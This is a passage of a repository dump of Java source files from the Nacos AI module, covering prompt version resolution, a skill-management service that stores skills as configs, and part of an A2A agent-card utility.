String label)\n            throws NacosException {\n        if (mapping == null) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    \"prompt latest version not found\");\n        }\n        if (StringUtils.isNotBlank(label)) {\n            String target = mapping.getLabels().get(label);\n            if (StringUtils.isBlank(target)) {\n                throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                        String.format(\"prompt label `%s` not found\", label));\n            }\n            return target;\n        }\n        if (StringUtils.isNotBlank(version)) {\n            if (!PromptVersionUtils.isValidVersion(version)) {\n                throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                        \"Version must be in format major.minor.patch\");\n            }\n            if (!mapping.getVersions().contains(version)) {\n                throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                        String.format(\"prompt version `%s` not found\", version));\n            }\n            return version;\n        }\n        if (StringUtils.isBlank(mapping.getLatestVersion())) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    \"prompt latest version not found\");\n        }\n        return mapping.getLatestVersion();\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/skills/SkillOperationService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.skills;\n\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\n\n/**\n * Skill operation service.\n *\n * @author nacos\n */\npublic interface SkillOperationService {\n    \n    /**\n     * Register a new skill.\n     *\n     * @param skill skill object\n     * @param namespaceId namespace ID\n     * @return skill ID\n     * @throws NacosException if registration failed\n     */\n    String registerSkill(Skill skill, String namespaceId) throws NacosException;\n    \n    /**\n     * Get skill detail.\n     *\n     * @param namespaceId namespace ID\n     * @param skillName skill name\n     * @return skill detail\n     * @throws NacosException if skill not found\n     */\n    Skill getSkillDetail(String namespaceId, String skillName) throws NacosException;\n    \n    /**\n     * Update skill.\n     *\n     * @param skill skill object\n     * @param namespaceId namespace ID\n     * @throws NacosException if update failed\n     */\n    void updateSkill(Skill skill, String namespaceId) throws NacosException;\n    \n    /**\n     * Delete skill.\n     *\n     * @param namespaceId namespace ID\n     * @param skillName skill name\n     * @throws NacosException if delete failed\n     */\n    void deleteSkill(String namespaceId, String skillName) throws NacosException;\n    \n    /**\n     * List skills with pagination.\n     *\n     * @param namespaceId namespace ID\n     * @param skillName skill name (for search)\n     * @param search search keyword\n     * @param pageNo page number\n     * @param pageSize page size\n     * @return skill list page\n     * @throws NacosException if query failed\n     */\n    Page<SkillBasicInfo> listSkills(String namespaceId, String skillName, String search, int pageNo, int pageSize) throws NacosException;\n    \n    /**\n     * Upload skill from zip file.\n     *\n     * @param namespaceId namespace ID\n     * @param zipBytes zip file bytes\n     * @return skill name\n     * @throws NacosException if upload failed\n     */\n    String uploadSkillFromZip(String namespaceId, byte[] zipBytes) throws NacosException;\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/skills/SkillOperationServiceImpl.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service.skills;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.SyncEffectService;\nimport com.alibaba.nacos.ai.utils.SkillZipParser;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.ai.model.skills.SkillResource;\nimport com.alibaba.nacos.api.ai.model.skills.SkillUtils;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.exception.ConfigAlreadyExistsException;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.ConfigOperationService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport static com.alibaba.nacos.ai.constant.Constants.Skills;\n\n/**\n * Skill operation service implementation.\n *\n * @author nacos\n */\n@org.springframework.stereotype.Service\npublic class SkillOperationServiceImpl implements SkillOperationService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SkillOperationServiceImpl.class);\n    \n    private static final String SKILL_NAME_PATTERN = \"^[a-zA-Z_-]+$\";\n    \n    /**\n     * Parse resource ID to get type and resource name.\n     * Format: {type}_{resourcename} or {resourcename}\n     * If resourcename contains __, convert __ back to .\n     */\n    private String[] parseResourceId(String resourceId) {\n        if (StringUtils.isBlank(resourceId)) {\n            return new String[]{\"\", \"\"};\n        }\n        \n        int underscoreIndex = resourceId.indexOf('_');\n        if (underscoreIndex > 0) {\n            String type = resourceId.substring(0, underscoreIndex);\n            String resourceName = resourceId.substring(underscoreIndex + 1);\n            // Convert __ back to .\n            resourceName = resourceName.replace(\"__\", \".\");\n            return new String[]{type, resourceName};\n        } else {\n            // No type, just resource name\n            String resourceName = resourceId.replace(\"__\", \".\");\n            return new String[]{\"\", resourceName};\n        }\n    }\n    \n    private final ConfigQueryChainService configQueryChainService;\n    \n    private final ConfigOperationService configOperationService;\n    \n    private final ConfigInfoPersistService configInfoPersistService;\n    \n    private final SyncEffectService syncEffectService;\n    \n    public SkillOperationServiceImpl(ConfigQueryChainService configQueryChainService,\n            ConfigOperationService configOperationService,\n            ConfigInfoPersistService configInfoPersistService, SyncEffectService syncEffectService) {\n        this.configQueryChainService = configQueryChainService;\n        this.configOperationService = configOperationService;\n        this.configInfoPersistService = configInfoPersistService;\n        this.syncEffectService = syncEffectService;\n    }\n    \n    @Override\n    public String registerSkill(Skill skill, String namespaceId) throws NacosException {\n        try {\n            // 1. Validate skill name (only allow English letters, underscore, hyphen)\n            if (StringUtils.isBlank(skill.getName())) {\n                throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                        \"Skill name is required\");\n            }\n            if (!skill.getName().matches(SKILL_NAME_PATTERN)) {\n                throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                        \"Skill name can only contain English letters, underscore, and hyphen\");\n            }\n            \n            // 2. Build main config (skill.json)\n            SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skill.getName());\n            long uniformId = System.currentTimeMillis();\n            ConfigForm mainConfigForm = buildMainConfigForm(skill, namespaceId, mainConfigInfo.getGroup(), uniformId);\n            ConfigRequestInfo mainConfigRequest = new ConfigRequestInfo();\n            Boolean mainPublishResult = configOperationService.publishConfig(mainConfigForm, mainConfigRequest, null);\n            if (mainPublishResult == null || !mainPublishResult) {\n                throw new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.SERVER_ERROR,\n                        String.format(\"Failed to publish main config for skill: %s\", skill.getName()));\n            }\n            \n            // 3. Build and publish resource configs\n            if (skill.getResource() != null && !skill.getResource().isEmpty()) {\n                for (Map.Entry<String, SkillResource> entry : skill.getResource().entrySet()) {\n                    SkillResource resource = entry.getValue();\n                    SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                            skill.getName(), resource.getType(), resource.getName());\n                    \n                    ConfigForm resourceConfigForm = buildResourceConfigForm(resource, namespaceId, \n                            resourceConfigInfo.getGroup(), resourceConfigInfo.getDataId(), uniformId);\n                    ConfigRequestInfo resourceConfigRequest = new ConfigRequestInfo();\n                    Boolean resourcePublishResult = configOperationService.publishConfig(resourceConfigForm, resourceConfigRequest, null);\n                    if (resourcePublishResult == null || !resourcePublishResult) {\n                        throw new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.SERVER_ERROR,\n                                String.format(\"Failed to publish resource config for skill: %s, resource: %s\", \n                                        skill.getName(), resource.getName()));\n                    }\n                }\n            }\n            \n            long startOperationTime = System.currentTimeMillis();\n            syncEffectService.toSync(mainConfigForm, startOperationTime);\n            \n            return skill.getName();\n        } catch (ConfigAlreadyExistsException e) {\n            throw new NacosApiException(NacosException.CONFLICT, ErrorCode.RESOURCE_CONFLICT,\n                    String.format(\"Skill name %s already exists\", skill.getName()));\n        }\n    }\n    \n    @Override\n    public Skill getSkillDetail(String namespaceId, String skillName) throws NacosException {\n        // 1. Query main config\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        ConfigQueryChainRequest request = ConfigQueryChainRequest.buildConfigQueryChainRequest(\n                mainConfigInfo.getDataId(), mainConfigInfo.getGroup(), namespaceId);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        \n        if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    \"Skill not found: \" + skillName);\n        }\n        \n        // 2. Parse main config\n        SkillMainConfig mainConfig = JacksonUtils.toObj(response.getContent(), SkillMainConfig.class);\n        \n        // 3. Build Skill object\n        Skill skill = new Skill();\n        skill.setNamespaceId(namespaceId);\n        skill.setName(mainConfig.getName());\n        skill.setDescription(mainConfig.getDescription());\n        skill.setInstruction(mainConfig.getInstruction());\n        \n        // 4. Query all resource configs\n        Map<String, SkillResource> resourceMap = new HashMap<>(\n                mainConfig.getResources() != null ? mainConfig.getResources().size() : 16);\n        if (mainConfig.getResources() != null && !mainConfig.getResources().isEmpty()) {\n            for (SkillResourceRef resourceRef : mainConfig.getResources()) {\n                // Generate resourceId from type and name\n                String resourceId = SkillUtils.generateResourceId(resourceRef.getType(), resourceRef.getName());\n                \n                // Query resource config using resourceRef info\n                SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                        skillName, resourceRef.getType(), resourceRef.getName());\n                ConfigQueryChainRequest resourceRequest = ConfigQueryChainRequest.buildConfigQueryChainRequest(\n                        resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), namespaceId);\n                ConfigQueryChainResponse resourceResponse = configQueryChainService.handle(resourceRequest);\n                \n                if (resourceResponse.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL\n                        || resourceResponse.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY) {\n                    SkillResource resource = JacksonUtils.toObj(resourceResponse.getContent(), SkillResource.class);\n                    // Use resourceId as key so multi-level paths and same filename in different folders are unique\n                    resourceMap.put(resourceId, resource);\n                } else {\n                    LOGGER.warn(\"Resource configuration not found: dataId={}, group={}\", \n                            resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup());\n                }\n            }\n        }\n        skill.setResource(resourceMap);\n        \n        return skill;\n    }\n    \n    @Override\n    public void updateSkill(Skill skill, String namespaceId) throws NacosException {\n        // 1. Check if skill exists and get existing main config\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skill.getName());\n        ConfigQueryChainRequest request = ConfigQueryChainRequest.buildConfigQueryChainRequest(\n                mainConfigInfo.getDataId(), mainConfigInfo.getGroup(), namespaceId);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        \n        if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND) {\n            throw new NacosApiException(NacosException.NOT_FOUND, ErrorCode.RESOURCE_NOT_FOUND,\n                    \"Skill not found: \" + skill.getName());\n        }\n        \n        // 2. Parse existing main config to get all existing resources\n        SkillMainConfig existingMainConfig = JacksonUtils.toObj(response.getContent(), SkillMainConfig.class);\n        \n        // 3. Generate uniform timestamp for all configs in this update\n        long uniformId = System.currentTimeMillis();\n        \n        // 4. Update main config with uniformId\n        ConfigForm mainConfigForm = buildMainConfigForm(skill, namespaceId, mainConfigInfo.getGroup(), uniformId);\n        ConfigRequestInfo mainConfigRequest = new ConfigRequestInfo();\n        mainConfigRequest.setUpdateForExist(Boolean.TRUE);\n        Boolean mainUpdateResult = configOperationService.publishConfig(mainConfigForm, mainConfigRequest, null);\n        if (mainUpdateResult == null || !mainUpdateResult) {\n            throw new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.SERVER_ERROR,\n                    String.format(\"Failed to update main config for skill: %s\", skill.getName()));\n        }\n        \n        // 5. Compute existing and new resource key sets\n        Set<String> existingResourceKeys = collectResourceKeys(existingMainConfig);\n        Set<String> newResourceKeys = collectSkillResourceKeys(skill);\n        \n        // 6. Process all resources from the new skill object\n        updateSkillResources(skill, namespaceId, existingResourceKeys, uniformId);\n        \n        // 7. Delete resources that were removed\n        deleteRemovedResources(skill.getName(), namespaceId, existingMainConfig, newResourceKeys);\n        \n        long startOperationTime = System.currentTimeMillis();\n        syncEffectService.toSync(mainConfigForm, startOperationTime);\n    }\n    \n    private Set<String> collectResourceKeys(SkillMainConfig mainConfig) {\n        Set<String> keys = new HashSet<>();\n        if (mainConfig.getResources() != null) {\n            for (SkillResourceRef resourceRef : mainConfig.getResources()) {\n                keys.add(SkillUtils.generateResourceId(resourceRef.getType(), resourceRef.getName()));\n            }\n        }\n        return keys;\n    }\n    \n    private Set<String> collectSkillResourceKeys(Skill skill) {\n        Set<String> keys = new HashSet<>();\n        if (skill.getResource() != null) {\n            for (Map.Entry<String, SkillResource> entry : skill.getResource().entrySet()) {\n                SkillResource resource = entry.getValue();\n                keys.add(SkillUtils.generateResourceId(resource.getType(), resource.getName()));\n            }\n        }\n        return keys;\n    }\n    \n    private void updateSkillResources(Skill skill, String namespaceId,\n            Set<String> existingResourceKeys, long uniformId) throws NacosException {\n        if (skill.getResource() == null || skill.getResource().isEmpty()) {\n            return;\n        }\n        for (Map.Entry<String, SkillResource> entry : skill.getResource().entrySet()) {\n            SkillResource resource = entry.getValue();\n            SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                    skill.getName(), resource.getType(), resource.getName());\n            String resourceKey = SkillUtils.generateResourceId(resource.getType(), resource.getName());\n            boolean isNewResource = !existingResourceKeys.contains(resourceKey);\n            ConfigForm resourceConfigForm = buildResourceConfigForm(resource, namespaceId,\n                    resourceConfigInfo.getGroup(), resourceConfigInfo.getDataId(), uniformId);\n            ConfigRequestInfo resourceConfigRequest = new ConfigRequestInfo();\n            if (!isNewResource) {\n                resourceConfigRequest.setUpdateForExist(Boolean.TRUE);\n            }\n            Boolean resourcePublishResult = configOperationService.publishConfig(\n                    resourceConfigForm, resourceConfigRequest, null);\n            if (resourcePublishResult == null || !resourcePublishResult) {\n                throw new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.SERVER_ERROR,\n                        String.format(\"Failed to %s resource config for skill: %s, resource: %s\",\n                                isNewResource ? \"create\" : \"update\", skill.getName(), resource.getName()));\n            }\n        }\n    }\n    \n    private void deleteRemovedResources(String skillName, String namespaceId,\n            SkillMainConfig existingMainConfig, Set<String> newResourceKeys) throws NacosException {\n        if (existingMainConfig.getResources() == null || existingMainConfig.getResources().isEmpty()) {\n            return;\n        }\n        for (SkillResourceRef resourceRef : existingMainConfig.getResources()) {\n            String key = SkillUtils.generateResourceId(resourceRef.getType(), resourceRef.getName());\n            if (!newResourceKeys.contains(key)) {\n                SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                        skillName, resourceRef.getType(), resourceRef.getName());\n                configOperationService.deleteConfig(resourceConfigInfo.getDataId(),\n                        resourceConfigInfo.getGroup(), namespaceId, null, null, \"nacos\", null);\n            }\n        }\n    }\n    \n    @Override\n    public void deleteSkill(String namespaceId, String skillName) throws NacosException {\n        // 1. Query main config to get resource list\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        ConfigQueryChainRequest request = ConfigQueryChainRequest.buildConfigQueryChainRequest(\n                mainConfigInfo.getDataId(), mainConfigInfo.getGroup(), namespaceId);\n        ConfigQueryChainResponse response = configQueryChainService.handle(request);\n        \n        if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND) {\n            return; // Already deleted\n        }\n        \n        // 2. Delete all resource configs\n        SkillMainConfig mainConfig = JacksonUtils.toObj(response.getContent(), SkillMainConfig.class);\n        if (mainConfig.getResources() != null && !mainConfig.getResources().isEmpty()) {\n            for (SkillResourceRef resourceRef : mainConfig.getResources()) {\n                SkillUtils.ConfigInfo resourceConfigInfo = SkillUtils.buildSkillResourceConfigInfo(\n                        skillName, resourceRef.getType(), resourceRef.getName());\n                configOperationService.deleteConfig(resourceConfigInfo.getDataId(), resourceConfigInfo.getGroup(), \n                        namespaceId, null, null, \"nacos\", null);\n            }\n        }\n        \n        // 3. Delete main config\n        configOperationService.deleteConfig(mainConfigInfo.getDataId(), mainConfigInfo.getGroup(), \n                namespaceId, null, null, \"nacos\", null);\n    }\n    \n    @Override\n    public Page<SkillBasicInfo> listSkills(String namespaceId, String skillName, String search, int pageNo,\n            int pageSize) throws NacosException {\n        // Only query skill.json (main config), not resource_*.json\n        String dataId = SkillUtils.SKILL_MAIN_DATA_ID;\n        String groupPattern;\n        \n        if (StringUtils.isEmpty(skillName)) {\n            // Query all skills: group=skill_*\n            groupPattern = SkillUtils.SKILL_GROUP_PREFIX + Constants.ALL_PATTERN;\n        } else if (Skills.SEARCH_ACCURATE.equalsIgnoreCase(search)) {\n            // Exact match: group=skill_{skillName}\n            SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n            groupPattern = mainConfigInfo.getGroup();\n        } else {\n            // Blur search: group=skill_*{skillName}*\n            groupPattern = SkillUtils.SKILL_GROUP_PREFIX + Constants.ALL_PATTERN + skillName + Constants.ALL_PATTERN;\n        }\n        \n        // Use ConfigInfoPersistService to query config list (now includes gmt_modified)\n        Page<ConfigInfo> configInfoPage = configInfoPersistService.findConfigInfoLike4Page(pageNo, pageSize, dataId,\n                groupPattern, namespaceId, null);\n       \n \n        List<SkillBasicInfo> skillBasicInfos = configInfoPage.getPageItems().stream().map(configInfo -> {\n            try {\n                SkillMainConfig mainConfig = JacksonUtils.toObj(configInfo.getContent(), SkillMainConfig.class);\n                \n               \n                SkillBasicInfo basicInfo = new SkillBasicInfo();\n                basicInfo.setNamespaceId(namespaceId);\n                basicInfo.setName(mainConfig.getName());\n                basicInfo.setDescription(mainConfig.getDescription());\n                // Get modify time directly from ConfigInfo\n                basicInfo.setUpdateTime(configInfo.getGmtModified());\n                return basicInfo;\n            } catch (Exception e) {\n                LOGGER.warn(\"Failed to parse skill config: dataId={}, group={}\", configInfo.getDataId(), configInfo.getGroup(), e);\n                return null;\n            }\n        }).filter(java.util.Objects::nonNull).toList();\n        \n        Page<SkillBasicInfo> result = new Page<>();\n        // For blur search with filtering, we need to adjust total count\n        // But for simplicity, use the original total count (may be slightly inaccurate for blur search)\n        result.setPageItems(skillBasicInfos);\n        result.setTotalCount(configInfoPage.getTotalCount());\n        result.setPagesAvailable((int) Math.ceil((double) configInfoPage.getTotalCount() / (double) pageSize));\n        result.setPageNumber(pageNo);\n        \n        return result;\n    }\n    \n    @Override\n    public String uploadSkillFromZip(String namespaceId, byte[] zipBytes) throws NacosException {\n        Skill skill = SkillZipParser.parseSkillFromZip(zipBytes, namespaceId);\n        return registerSkill(skill, namespaceId);\n    }\n    \n    /**\n     * Build main config form.\n     */\n    private ConfigForm buildMainConfigForm(Skill skill, String namespaceId, String skillGroup, long uniformId) {\n        // Build main config (only references, no content)\n        SkillMainConfig mainConfig = new SkillMainConfig();\n        mainConfig.setName(skill.getName());\n        mainConfig.setDescription(skill.getDescription());\n        mainConfig.setInstruction(skill.getInstruction());\n        mainConfig.setUniformId(uniformId);\n        \n        // Build resource references (without content)\n        List<SkillResourceRef> resourceRefs = new ArrayList<>(\n                skill.getResource() != null ? skill.getResource().size() : 16);\n        if (skill.getResource() != null) {\n            for (Map.Entry<String, SkillResource> entry : skill.getResource().entrySet()) {\n                SkillResource resource = entry.getValue();\n                SkillResourceRef ref = new SkillResourceRef();\n                ref.setName(resource.getName());\n                ref.setType(resource.getType());\n                resourceRefs.add(ref);\n            }\n        }\n        mainConfig.setResources(resourceRefs);\n        \n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skill.getName());\n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(mainConfigInfo.getDataId());\n        configForm.setGroup(mainConfigInfo.getGroup());\n        configForm.setNamespaceId(namespaceId);\n        configForm.setContent(JacksonUtils.toJson(mainConfig));\n        configForm.setConfigTags(\"nacos.internal.config=skill\");\n        configForm.setSrcUser(\"nacos\");\n        configForm.setType(ConfigType.JSON.getType());\n        \n        return configForm;\n    }\n    \n    /**\n     * Build resource config form.\n     */\n    private ConfigForm buildResourceConfigForm(SkillResource resource, String namespaceId, String skillGroup,\n            String resourceDataId, long uniformId) {\n        // Add uniformId to resource metadata\n        Map<String, Object> metadata = resource.getMetadata();\n        if (metadata == null) {\n            metadata = new HashMap<>(4);\n            resource.setMetadata(metadata);\n        }\n        metadata.put(\"uniformId\", uniformId);\n        \n        ConfigForm configForm = new ConfigForm();\n        configForm.setDataId(resourceDataId);\n        configForm.setGroup(skillGroup);\n        configForm.setNamespaceId(namespaceId);\n        configForm.setContent(JacksonUtils.toJson(resource));\n        configForm.setConfigTags(\"nacos.internal.config=skill-resource\");\n        configForm.setSrcUser(\"nacos\");\n        configForm.setType(ConfigType.JSON.getType());\n        \n        return configForm;\n    }\n    \n    /**\n     * Skill main config (from skill.json).\n     */\n    private static class SkillMainConfig {\n        private String name;\n        private String description;\n        private String instruction;\n        private Long uniformId;\n        private List<SkillResourceRef> resources;\n        \n        public String getName() {\n            return name;\n        }\n        \n        public void setName(String name) {\n            this.name = name;\n        }\n        \n        public String getDescription() {\n            return description;\n        }\n        \n        public void setDescription(String description) {\n            this.description = description;\n        }\n        \n        public String getInstruction() {\n            return instruction;\n        }\n        \n        public void setInstruction(String instruction) {\n            this.instruction = instruction;\n        }\n        \n        public Long getUniformId() {\n            return uniformId;\n        }\n        \n        public void setUniformId(Long uniformId) {\n            this.uniformId = uniformId;\n        }\n        \n        public List<SkillResourceRef> getResources() {\n            return resources;\n        }\n        \n        public void setResources(List<SkillResourceRef> resources) {\n            this.resources = resources;\n        }\n    }\n    \n    /**\n     * Skill resource reference (in skill.json).\n     */\n    private static class SkillResourceRef {\n        private String name;\n        private String type;\n        \n        public String getName() {\n            return name;\n        }\n        \n        public void setName(String name) {\n            this.name = name;\n        }\n        \n        public String getType() {\n            return type;\n        }\n        \n        public void setType(String type) {\n            this.type = type;\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/AgentCardUtil.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardBasicInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentInterface;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.time.ZoneOffset;\nimport java.time.ZonedDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.util.Collections;\n\n/**\n * Utils for Agent Card of A2A.\n *\n * @author xiweng.yy\n */\npublic class AgentCardUtil {\n    \n    private static final String AGENT_INTERFACE_URL_PATTERN = \"%s://%s:%s\";\n    \n    /**\n     * Build Agent Card Storage Info from Agent Detail form.\n     *\n     * @param agentCard agent card\n     * @return Agent Card Storage Info\n     */\n    public static AgentCardDetailInfo buildAgentCardDetailInfo(AgentCard agentCard, String registrationType) {\n        AgentCardDetailInfo agentCardDetailInfo = new AgentCardDetailInfo();\n        copyAgentCardInfo(agentCardDetailInfo, agentCard);\n        agentCardDetailInfo.setRegistrationType(registrationType);\n        return agentCardDetailInfo;\n    }\n    \n    /**\n     * Build Agent Card Storage Info from AgentCard.\n     *\n     * @param agentCard agent detail form\n     * @param registrationType target registrationType\n     * @param isLatest is latest version\n     * @return Agent Card Version Info\n     */\n    public static AgentCardVersionInfo buildAgentCardVersionInfo(AgentCard agentCard, String registrationType,\n            boolean isLatest) {\n        AgentCardVersionInfo agentCardVersionInfo = new AgentCardVersionInfo();\n        copyAgentCardBasicInfo(agentCardVersionInfo, agentCard);\n        agentCardVersionInfo.setRegistrationType(registrationType);\n        if (isLatest) {\n            agentCardVersionInfo.setLatestPublishedVersion(agentCard.getVersion());\n        }\n        agentCardVersionInfo.setVersionDetails(Collections.singletonList(buildAgentVersionDetail(agentCard, isLatest)));\n        return agentCardVersionInfo;\n    }\n    \n    /**\n     * Build Agent version detail from Agent Detail form.\n     *\n     * @param agentCard agent detail form\n     * @return Agent Version Detail\n     */\n    public static AgentVersionDetail buildAgentVersionDetail(AgentCard agentCard, boolean isLatest) {\n        AgentVersionDetail agentVersionDetail = new AgentVersionDetail();\n        agentVersionDetail.setCreatedAt(getCurrentTime());\n        agentVersionDetail.setUpdatedAt(getCurrentTime());\n        agentVersionDetail.setVersion(agentCard.getVersion());\n        agentVersionDetail.setLatest(isLatest);\n        return agentVersionDetail;\n    }\n    \n    /**\n     * Update update time of agent version detail.\n     *\n     * @param versionDetail agent version detail\n     */\n    public static void updateUpdateTime(AgentVersionDetail versionDetail) {\n        versionDetail.setUpdatedAt(getCurrentTime());\n    }\n    \n    /**\n     * Build {@link AgentInterface} from service {@link Instance}.\n     *\n     * @param instance service instance.\n     * @return agent interface (endpoint)\n     */\n    public static AgentInterface buildAgentInterface(Instance instance) {\n        AgentInterface agentInterface = new AgentInterface();\n        String protocol = instance.getMetadata().get(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY);\n        if (StringUtils.isEmpty(protocol)) {\n            protocol = AiConstants.A2a.A2A_ENDPOINT_DEFAULT_PROTOCOL;\n        }\n        boolean isSupportTls = Boolean.parseBoolean(\n                instance.getMetadata().get(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS));\n        protocol = handlerTlsIfNeeded(protocol, isSupportTls);\n        String url = String.format(AGENT_INTERFACE_URL_PATTERN, protocol, instance.getIp(), instance.getPort());\n        String path = instance.getMetadata().get(Constants.A2A.AGENT_ENDPOINT_PATH_KEY);\n        if (StringUtils.isNotBlank(path)) {\n            url += path.startsWith(\"/\") ? path : \"/\" + path;\n        }\n        String query = instance.getMetadata().get(Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY);\n        if (StringUtils.isNotBlank(query)) {\n            url += \"?\" + query;\n        }\n        agentInterface.setUrl(url);\n        agentInterface.setTransport(instance.getMetadata().get(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY));\n        return agentInterface;\n    }\n    \n    private static String handlerTlsIfNeeded(String protocol, boolean isSupportTls) {\n        if (AiConstants.A2a.A2A_ENDPOINT_DEFAULT_PROTOCOL.equalsIgnoreCase(protocol)) {\n            return isSupportTls ? Constants.PROTOCOL_TYPE_HTTPS : Constants.PROTOCOL_TYPE_HTTP;\n        }\n        return 